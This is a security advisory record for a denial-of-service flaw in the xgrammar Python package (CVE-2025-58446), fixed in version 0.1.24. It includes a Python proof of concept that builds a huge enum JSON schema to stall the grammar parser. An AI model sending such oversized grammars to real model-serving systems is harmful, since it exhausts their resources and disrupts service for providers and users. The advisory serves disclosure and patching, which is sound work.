1 line
3.7 KiB
JSON
1 line
3.7 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-9q5r-wfvf-rr7f","published":"2025-09-05T21:10:06Z","modified":"2026-09-10T03:50:28.281780833Z","aliases":["CVE-2025-58446","PYSEC-2026-2055"],"summary":"xgrammar vulnerable to denial of service by huge enum grammar","details":"### Summary\nProvided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.\n\n### Details\n\nFull reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.\n\n### Patch\n\nThis problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars. \n\nThanks to @Seven-Streams \n\n### PoC\n```\nimport string\nimport random\n\ndef enum_schema(size=10000,str_len=10):\n enum = {\"enum\": [\"\".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}\n schema = {\n \"definitions\": {\n \"colorEnum\": enum\n },\n \"type\": \"object\",\n \"properties\": {\n \"color1\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color2\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color3\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color4\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color5\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color6\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color7\": {\n \"$ref\": \"#/definitions/colorEnum\"\n },\n \"color8\": {\n \"$ref\": \"#/definitions/colorEnum\"\n }\n },\n \"required\": [\n \"color1\",\n \"color2\"\n ]\n }\n return schema\n\nschema_enum = enum_schema()\nprint(schema_enum)\nprint(test_schema(schema_enum, {}))\n```\n\nwhere:\n```\ndef test_schema(schema, instance):\n grammar = xgr.Grammar.from_json_schema(\n json.dumps(schema),\n strict_mode=True\n )\n return _is_grammar_accept_string(grammar, json.dumps(instance))\n```\n\n### Impact\nDOS","affected":[{"package":{"name":"xgrammar","ecosystem":"PyPI","purl":"pkg:pypi/xgrammar"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.23"},{"fixed":"0.1.24"}]}],"versions":["0.1.23"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-9q5r-wfvf-rr7f/GHSA-9q5r-wfvf-rr7f.json"}}],"references":[{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58446"},{"type":"WEB","url":"https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27"},{"type":"PACKAGE","url":"https://github.com/mlc-ai/xgrammar"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2025-09-05T21:10:06Z","nvd_published_at":"2025-09-06T19:15:38Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}]} |